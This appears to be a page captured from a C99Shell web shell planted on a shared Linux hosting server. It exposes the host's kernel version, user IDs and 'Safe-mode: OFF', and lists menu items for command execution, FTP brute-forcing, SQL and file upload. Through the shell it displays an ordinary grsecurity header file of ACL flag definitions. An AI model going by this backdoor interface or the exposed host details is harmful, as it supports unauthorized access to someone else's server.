!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/src/linux-headers-6.6.104-grsec-jammy+/include/linux/   drwxr-xr-x
Free 680.92 GB of 879.6 GB (77.41%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     grdefs.h (4.42 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * grsecurity - access control and security hardening for Linux
 * Copyright (C) 2001-2017 Bradley Spengler, Open Source Security, Inc.
 * http://www.grsecurity.net [email protected]
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License version 2
 * as published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
 */

#ifndef GRDEFS_H
#define GRDEFS_H

/* Begin grsecurity status declarations */

enum {
    GR_READY = 0x01,
    GR_STATUS_INIT = 0x00    // disabled state
};

/* Begin  ACL declarations */

/* Role flags */

enum {
    GR_ROLE_USER = 0x0001,
    GR_ROLE_GROUP = 0x0002,
    GR_ROLE_DEFAULT = 0x0004,
    GR_ROLE_SPECIAL = 0x0008,
    GR_ROLE_AUTH = 0x0010,
    GR_ROLE_NOPW = 0x0020,
    GR_ROLE_GOD = 0x0040,
    GR_ROLE_LEARN = 0x0080,
    GR_ROLE_TPE = 0x0100,
    GR_ROLE_DOMAIN = 0x0200,
    GR_ROLE_PAM = 0x0400,
    GR_ROLE_PERSIST = 0x0800
};

/* ACL Subject and Object mode flags */
enum {
    GR_DELETED = 0x80000000
};

/* ACL Object-only mode flags */
enum {
    GR_READ        = 0x00000001,
    GR_APPEND    = 0x00000002,
    GR_WRITE    = 0x00000004,
    GR_EXEC        = 0x00000008,
    GR_FIND        = 0x00000010,
    GR_INHERIT    = 0x00000020,
    GR_SETID    = 0x00000040,
    GR_CREATE    = 0x00000080,
    GR_DELETE    = 0x00000100,
    GR_LINK        = 0x00000200,
#define GR_AUDIT_SHIFT    10  /* adapt in case new modes are added above */
    GR_AUDIT_READ    = 0x00000400,    /* GR_READ    << GR_AUDIT_SHIFT */
    GR_AUDIT_APPEND    = 0x00000800,    /* GR_APPEND  << GR_AUDIT_SHIFT */
    GR_AUDIT_WRITE    = 0x00001000,    /* GR_WRITE   << GR_AUDIT_SHIFT */
    GR_AUDIT_EXEC    = 0x00002000,    /* GR_EXEC    << GR_AUDIT_SHIFT */
    GR_AUDIT_FIND    = 0x00004000,    /* GR_FIND    << GR_AUDIT_SHIFT */
    GR_AUDIT_INHERIT= 0x00008000,    /* GR_INHERIT << GR_AUDIT_SHIFT */
    GR_AUDIT_SETID    = 0x00010000,    /* GR_SETID   << GR_AUDIT_SHIFT */
    GR_AUDIT_CREATE    = 0x00020000,    /* GR_CREATE  << GR_AUDIT_SHIFT */
    GR_AUDIT_DELETE    = 0x00040000,    /* GR_DELETE  << GR_AUDIT_SHIFT */
    GR_AUDIT_LINK    = 0x00080000,    /* GR_LINK    << GR_AUDIT_SHIFT */
    GR_PTRACERD    = 0x00100000,
    GR_NOPTRACE    = 0x00200000,
    GR_SUPPRESS    = 0x00400000,
    GR_NOLEARN    = 0x00800000,
    GR_INIT_TRANSFER= 0x01000000
};

#define GR_MODES  (GR_READ | GR_APPEND | GR_WRITE | GR_EXEC | GR_FIND | \
           GR_INHERIT | GR_SETID | GR_CREATE | GR_DELETE | GR_LINK)
#define GR_AUDITS (GR_MODES << GR_AUDIT_SHIFT)

/* ACL subject-only mode flags */
enum {
    GR_KILL     = 0x00000001,
    GR_VIEW     = 0x00000002,
    GR_PROTECTED     = 0x00000004,
    GR_LEARN     = 0x00000008,
    GR_OVERRIDE     = 0x00000010,
    /* just a placeholder, this mode is only used in userspace */
    GR_DUMMY     = 0x00000020,
    GR_PROTSHM    = 0x00000040,
    GR_KILLPROC    = 0x00000080,
    GR_KILLIPPROC    = 0x00000100,
    /* just a placeholder, this mode is only used in userspace */
    GR_NOTROJAN    = 0x00000200,
    GR_PROTPROCFD    = 0x00000400,
    GR_PROCACCT    = 0x00000800,
    GR_RELAXPTRACE    = 0x00001000,
    //GR_NESTED    = 0x00002000,
    GR_INHERITLEARN    = 0x00004000,
    GR_PROCFIND    = 0x00008000,
    GR_POVERRIDE    = 0x00010000,
    GR_KERNELAUTH    = 0x00020000,
    GR_ATSECURE    = 0x00040000,
    GR_SHMEXEC    = 0x00080000,
    GR_SUPPRESSCONNECT = 0x00100000
};

enum {
    GR_PAX_ENABLE_SEGMEXEC    = 0x0001,
    GR_PAX_ENABLE_PAGEEXEC    = 0x0002,
    GR_PAX_ENABLE_MPROTECT    = 0x0004,
    GR_PAX_ENABLE_RANDMMAP    = 0x0008,
    GR_PAX_ENABLE_EMUTRAMP    = 0x0010,
    GR_PAX_DISABLE_SEGMEXEC    = 0x0100,
    GR_PAX_DISABLE_PAGEEXEC    = 0x0200,
    GR_PAX_DISABLE_MPROTECT    = 0x0400,
    GR_PAX_DISABLE_RANDMMAP    = 0x0800,
    GR_PAX_DISABLE_EMUTRAMP    = 0x1000,
};

enum {
    GR_ID_USER    = 0x01,
    GR_ID_GROUP    = 0x02,
};

enum {
    GR_ID_ALLOW    = 0x01,
    GR_ID_DENY    = 0x02,
};

#define GR_CRASH_RES    31
#define GR_UIDTABLE_MAX 500

/* begin resource learning section */
enum {
    GR_RLIM_CPU_BUMP = 60,
    GR_RLIM_FSIZE_BUMP = 50000,
    GR_RLIM_DATA_BUMP = 10000,
    GR_RLIM_STACK_BUMP = 1000,
    GR_RLIM_CORE_BUMP = 10000,
    GR_RLIM_RSS_BUMP = 500000,
    GR_RLIM_NPROC_BUMP = 1,
    GR_RLIM_NOFILE_BUMP = 5,
    GR_RLIM_MEMLOCK_BUMP = 50000,
    GR_RLIM_AS_BUMP = 500000,
    GR_RLIM_LOCKS_BUMP = 2,
    GR_RLIM_SIGPENDING_BUMP = 5,
    GR_RLIM_MSGQUEUE_BUMP = 10000,
    GR_RLIM_NICE_BUMP = 1,
    GR_RLIM_RTPRIO_BUMP = 1,
    GR_RLIM_RTTIME_BUMP = 1000000
};

#endif

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0103 ]--